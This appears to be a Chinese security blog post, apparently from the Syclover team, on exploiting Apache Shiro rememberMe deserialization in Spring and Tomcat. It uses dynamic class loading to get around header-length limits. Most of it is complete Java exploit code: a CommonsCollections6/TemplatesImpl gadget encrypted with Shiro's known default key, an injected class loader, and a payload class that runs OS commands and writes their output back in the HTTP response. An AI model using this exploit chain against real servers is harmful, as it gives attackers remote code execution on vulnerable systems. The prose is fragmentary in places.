通过动态类加载解决【通过Tomcat全局存储进行回显】在Shiro中的Header过长问题
#前言
maxHeaderSize
的值,通过多个线程发送payload:
Spring
+
shiro
的环境中,本文给出一种不通过修改
maxHeaderSize
的值,在单个线程中使用动态类加载的方式来在Shiro中获取执行命令的结果。
#拆解
-
触发反序列化Gadget -
执行我们构造的代码
通过反序列化向服务端注入一个可以动态加载字节码的类(通过TemplatesImpl利用链)
同时向服务端发送一个字节码文件供其加载,通过这个字节码文件中执行我们构造的代码
#动态加载字节码
ClassLoader#defineClass
方法,这个方法会把字节码在JVM注册成一个
java.lang.Class
对象 。我们要构造一个类,可以加载我们向服务端发送的任意代码,关键在于两点:
defineClass
方法来达到动态加载字节码目的:
Method defineClass = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);defineClass.setAccessible(true);defineClass.invoke(ClassLoader.getSystemClassLoader(), bytes, 0, bytes.length)
ClassLoader
类的类,然后调用父类的
defineClass
方法:
public class DefineLoader extends ClassLoader {public Class load(byte[] bytes) {return super.defineClass(null, bytes, 0, bytes.length);}}
Spring
环境中,我们可以通过如下方式来获取到一次请求的
request
对象:
// Get request in Spring FrameworkServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();// RequestFacadeassert attributes != null;HttpServletRequest requestFacade = attributes.getRequest();Field requestField = requestFacade.getClass().getDeclaredField("request");requestField.setAccessible(true);// RequestRequest request = (Request) requestField.get(requestFacade);
attributes.getRequest()
拿到的其实是
RequestFacade
,在这个类中包装了真正的
request
对象。
POST
请求的请求体(data)中,再利用这个
request
对象获取到发送的data,通过上述的方式动态加载这个类。
// Get parameterString dataB64 = request.getParameter("data");if (dataB64 != null) {// Load class dynamicallybyte[] bytes = Base64.decodeBase64(dataB64);// The same loader is not allowed to load classes repeatedlyClass clazz = new DefineLoader().load(bytes);}
package src;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.connector.Request;import org.apache.tomcat.util.codec.binary.Base64;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import javax.servlet.http.HttpServletRequest;import java.lang.reflect.Field;public class POC1 extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}// Internal ClassLoaderpublic static class DefineLoader extends ClassLoader {public Class load(byte[] bytes) {return super.defineClass(null, bytes, 0, bytes.length);}}static {try {// Get request in Spring FrameworkServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();// RequestFacadeassert attributes != null;HttpServletRequest requestFacade = attributes.getRequest();Field requestField = requestFacade.getClass().getDeclaredField("request");requestField.setAccessible(true);// RequestRequest request = (Request) requestField.get(requestFacade);// Get parameterString dataB64 = request.getParameter("data");if (dataB64 != null) {// Load class dynamicallybyte[] bytes = Base64.decodeBase64(dataB64);// The same loader is not allowed to load classes repeatedlyClass clazz = new DefineLoader().load(bytes);// invoke toStirng methodclazz.newInstance().toString();}} catch (Exception e) {e.printStackTrace();}}}
这里以经过改造 (https://f4de-bak.github.io/pages/ca9de1/#templatesimpl)的CC6Gadget为例(要手动向服务端添加依赖),通过TemplatesImpl利用链向服务端注入POC1类:
package src;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import org.apache.tomcat.util.codec.binary.Base64;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.URLEncoder;import java.util.HashMap;import java.util.Map;/*CC6*/public class Main {public static void main(String[] args) throws Exception {File file = new File("target/classes/src/POC1.class");byte[] bytes = new byte[(int) file.length()];FileInputStream fileInputStream = new FileInputStream(file);fileInputStream.read(bytes);TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", new byte[][]{bytes});setFieldValue(templates, "_name", "Xinghai");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);HashMap expMap = new HashMap();expMap.put(tiedMapEntry, "value");outerMap.clear();setFieldValue(invokerTransformer, "iMethodName", "newTransformer");ByteArrayOutputStream barr_out = new ByteArrayOutputStream();ObjectOutputStream ops = new ObjectOutputStream(barr_out);ops.writeObject(expMap);ops.close();// rememberMebyte[] AES_KEY = Base64.decodeBase64("kPH+bIxk5D2deZiIxcaaaA==");AesCipherService aesCipherService = new AesCipherService();ByteSource source = aesCipherService.encrypt(barr_out.toByteArray(), AES_KEY);System.out.println(source.toString());}static void setFieldValue(Object obj, String field, Object value) throws Exception {Class<?> clazz = Class.forName(obj.getClass().getName());Field field1 = clazz.getDeclaredField(field);field1.setAccessible(true);field1.set(obj, value);}}
rememberMe的值。
#构造待加载字节码
toString()
方法中:
package src;import org.apache.catalina.Context;import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardService;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.coyote.AbstractProtocol;import org.apache.coyote.Request;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import org.apache.tomcat.util.net.AbstractEndpoint;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.Scanner;public class POC2 {@Overridepublic String toString() {String cmd = null;try {WebappClassLoaderBase loader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();Context context = loader.getResources().getContext();// ApplicationContextField applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");applicationContextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(context);// StandardServiceField serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");serviceField.setAccessible(true);StandardService standardService = (StandardService) serviceField.get(applicationContext);// HTTP ConnectorConnector[] connectors = standardService.findConnectors();for (Connector connector : connectors) {if (connector.getScheme().contains("http")) {// AbstractProtocolAbstractProtocol abstractProtocol = (AbstractProtocol) connector.getProtocolHandler();// AbstractProtocol$ConnectionHandlerMethod getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");getHandler.setAccessible(true);AbstractEndpoint.Handler ConnectionHandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol);// global(RequestGroupInfo)Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");globalField.setAccessible(true);RequestGroupInfo global = (RequestGroupInfo) globalField.get(ConnectionHandler);// processors (ArrayList)Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");processorsField.setAccessible(true);ArrayList processors = (ArrayList) processorsField.get(global);for (Object processor : processors) {RequestInfo requestInfo = (RequestInfo) processor;// RequestInfoif (requestInfo.getCurrentQueryString().contains("cmd")) {// reqField reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");reqField.setAccessible(true);Request requestTemp = (Request) reqField.get(requestInfo);org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) requestTemp.getNote(1);cmd = request.getParameter("cmd");String[] cmds = null;if (cmd != null) {if (System.getProperty("os.name").toLowerCase().contains("win")) {cmds = new String[]{"cmd", "/c", cmd};} else {cmds = new String[]{"/bin/bash", "-c", cmd};}InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(inputStream).useDelimiter("//A");String output = s.hasNext() ? s.next() : "";PrintWriter writer = request.getResponse().getWriter();writer.write(output);writer.flush();writer.close();break;}}}}}} catch (Exception e) {e.printStackTrace();}return null;}}
data
:
// dataFile file1 = new File("target/classes/src/POC2.class");FileInputStream fileInputStream1 = new FileInputStream(file1);byte[] bytes1 = new byte[(int) file1.length()];fileInputStream1.read(bytes1);System.out.println(URLEncoder.encode(Base64.encodeBase64String(bytes1)));
#测试
Spring boot
+
Shiro
中测试:
长
按
关
注
新浪微博:@三叶草小组Syclover
